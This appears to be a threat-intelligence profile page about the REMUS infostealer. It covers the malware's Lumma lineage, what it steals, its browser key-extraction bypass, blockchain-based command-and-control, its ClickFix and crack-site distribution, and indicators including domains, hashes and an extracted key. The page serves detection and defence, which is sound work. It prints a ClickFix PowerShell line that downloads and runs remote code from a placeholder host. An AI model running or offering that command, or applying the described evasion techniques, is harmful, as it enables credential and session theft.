Loading malware…
REMUS is an infostealer malware family, also referred to as Remus, that emerged in early 2026 and is widely assessed as a 64-bit evolution or variant of Lumma Stealer rather than a direct replacement. Reported capabilities include theft of stored browser passwords, cookies, cryptocurrency wallet data, clipboard data, screenshots, browser information, Discord tokens, and other victim data. Multiple sources also describe REMUS as increasingly focused on session theft and persistent authenticated access, including browser cookies, authentication tokens, restore-token abuse, Telegram-based log delivery, and collection of browser-side artifacts such as IndexedDB data associated with password managers including 1Password, LastPass, and Bitwarden-related mechanisms. Flare reporting describes REMUS as rapidly evolving from a basic credential stealer into a malware-as-a-service ecosystem between February and May 2026, with subscription-style commercialization, operator dashboards, worker tracking, duplicate-log filtering, statistics, delivery scheduling, bug fixes, and advertised 24/7 support.
Technical reporting links REMUS closely to Lumma through nearly identical string obfuscation, anti-VM checks, direct syscall handling, indirect control-flow obfuscation, similar code structure, and a distinctive Chromium Application-Bound Encryption bypass. REMUS injects short shellcode into a live browser process to locate and decrypt the Chromium v20_master_key from memory using the browser process context; if injection fails or no browser is running, it can launch a hidden browser on a separate desktop with a randomized 16-character name. Gen Threat Labs traced transitional test builds labeled Tenzor, dated 2025-09-16, as a bridge between Lumma and REMUS. REMUS also performs anti-analysis checks for sandbox-related DLLs and a honeypot Outlook PST file.
Infrastructure reporting states that REMUS uses EtherHiding and Ethereum smart contracts as dead-drop resolvers to obtain live command-and-control addresses at runtime, replacing Lumma's Steam and Telegram resolver approach in some observed clusters. Reported REMUS infrastructure heavily used .biz domains, with one analyzed contract resolving domains including chalx.live:5902 and fightwa.biz:5902, and infrastructure concentrated in part on IP 185.53.179.128. Additional reporting identified multiple Ethereum contracts used to store live C2 information and noted a Russian-language code comment in one contract variant, treated only as a minor attribution clue. Breakglass Intelligence extracted a REMUS plugin configuration that used ChaCha20-based application-layer encryption, campaign ID e7d306351b2ed15ad158949881380114, marker string '# REMUS LOG', repeated proxy marker 'PROXYPROXYPROXY', and C2 http://baxe[.]pics:48261; the extracted 32-byte key was d16425ab2d021ae273d5fae993ce52a5aa61f379ade7bc27efd39d9bb3f46a55.
Observed distribution vectors include ClickFix social-engineering campaigns using fake Google, Cloudflare, reCAPTCHA, and Google Meet verification or troubleshooting pages that trick users into executing malicious PowerShell commands; cracked software and keygen-themed distribution; malicious traffic distribution systems serving password-protected archives; compromised WordPress sites running the ErrTraffic framework; and loader chains involving SmokeLoader, GoFlateLoader, HijackLoader, and other malware. REMUS has been observed as a payload delivered by ClickFix campaigns, ErrTraffic Beer-cluster operations, and GoFlateLoader, and as a plugin deployed by SmokeLoader. AhnLab reported that REMUS accounted for 36% of crack-themed malware distribution observed in May 2026. Sekoia reported that ErrTraffic Beer-cluster campaigns distributed REMUS alongside Vidar, StealC, Salat, SmokeLoader, RATs, and loaders.
Known indicators directly mentioned in the content include REMUS-related domains and infrastructure such as fightwa[.]biz:5902, chalx[.]live:5902, baxe[.]pics:48261, and IP 185.53.179.128; Ethereum contract 0x999941b74F6bbc921D5174A5b29911562cd2D7CF; operator wallet 0xBeCFC3F9EB36E6Ec0E54f7A6627DA7EF648f8F01; and sample or archive hashes associated with REMUS delivery including 77a2c2761bd439548177a36b6a10d8979c0e41d2cf3c1c98329307cbe5251ab6, b88c5744975d2abb447aecc6c090fee9f8580413f4612eecdc6ed1973e8a1739, ed5ae7f36453c5a23e9868a5729d67e0549a11f6dea54f5f52d654a8f51d4902, and 841c9297cb8a2e0ff89433d13c05bfc760eb2e98e251cb8fa785d2ad7cbac05f. The content associates REMUS primarily with financially motivated cybercrime and with the broader Lumma ecosystem; some reporting notes historically Russian-speaking links in that ecosystem, but definitive attribution is not established.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
34 distinct techniques documented for this family, organized by ATT&CK tactic.
OLE32.dll functions (CoCreateInstance, CoInitialize, CoSetProxyBlanket) indicate WMI-based system profiling through COM interfaces.
The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
Obfuscation and encryption for the injected ErrTraffic script (using AES and JavaScript obfuscation).
This report covers infostealers disguised as illegal software such as cracks and keygens... Microsoft Corporation was the most frequently impersonated company, followed by Auslogics, NVIDIA Corporation, Virtual Holding Resources, LLC, and Adobe Inc.
Rather than reading the key off disk, Remus injects a small shellcode into the live browser process to locate and decrypt the master key from inside the browser’s own memory.
SockS5 proxy integration, antivirtualization controls, gaming-platform targeting, as well as deeper password harvesting were all added to the malware.
This initial effort focused on harvesting saved credentials... but later expanded into hijacking sessions... REMUS consistently promoted browser cookies, authentication tokens, workflows to restore sessions, and proxy-assisted continuity mechanisms as central operational features.
The final payloads GoFlateLoader delivers are all information stealers, programs designed to quietly harvest saved passwords, browser data, and cryptocurrency wallet credentials from infected machines.
Initially focused on browser credential theft and basic log management
This objective was further reinforced by repeated targeting of Discord, Steam, Riot Games, and Telegram environments... As of April 2026, the operator has implemented collection capabilities associated with Bitwarden, 1Password, LastPass, and IndexedDB-based browser storage mechanisms commonly used to retain locally authenticated data...
KERNEL32.dll provides GetComputerNameA and GetComputerNameExA for machine identification.
It scans for DLLs linked to known analysis platforms and checks for a specific honeypot file on disk.
April marked another strategic transition in REMUS's evolution, this time toward authentication-based session persistence and browser-side artifact collection... It also included IndexedDB extractions linked to browser extensions associated with the 1Password and LastPass browser extensions...
A type of advanced remote access Trojan called an infostealer operates silently within infected systems, gathering cookies, authentication tokens, stored passwords, fingerprints, and other telemetry from the infected system before packaging the information into standardized 'stealer logs' for exfiltration.
Started as a single Ethereum contract which expanded into a cluster of 5 contracts, multiple operator wallets... The development started with the basic DomainStorage with no validation moved to the hardened DataStore variants.
I was able to retrieve the live C2 domain... deploying on ports 61611 & 61617, along with 2 additional live C2 domains.
The plugin communicates with baxe[.]pics on port 48261 over unencrypted HTTP... The C2 expects file uploads via POST requests, returning structured JSON responses that indicate a Node.js/Express backend.
SockS5 proxy integration... was added to the malware... There were repeated references throughout the campaign to 'Restore' capabilities, multi-proxy compatibility, and token recovery workflows...
ErrTraffic v3, documented by LevelBlue in April 2026, uses the EtherHiding technique as DDR. The injected script on compromised WordPress sites queries a smart contract on a blockchain to retrieve the ErrTraffic C2 server.
Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP.
Remus introduces a key upgrade in how it contacts its command-and-control servers... Remus replaces this with EtherHiding, embedding the server address inside an Ethereum blockchain smart contract... Remus queries the smart contract at runtime over a public endpoint and pulls the current server address.
215 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
15 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Malware family distributed through fake verification pages in the ClickFix campaign.
Stealer payload delivered in the ClickFix campaigns.
Remus/Lumma is referenced as an infostealer using a similar ABE bypass approach by extracting the v20_master_key directly from browser memory.
An information stealer observed as a payload delivered by GoFlateLoader.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.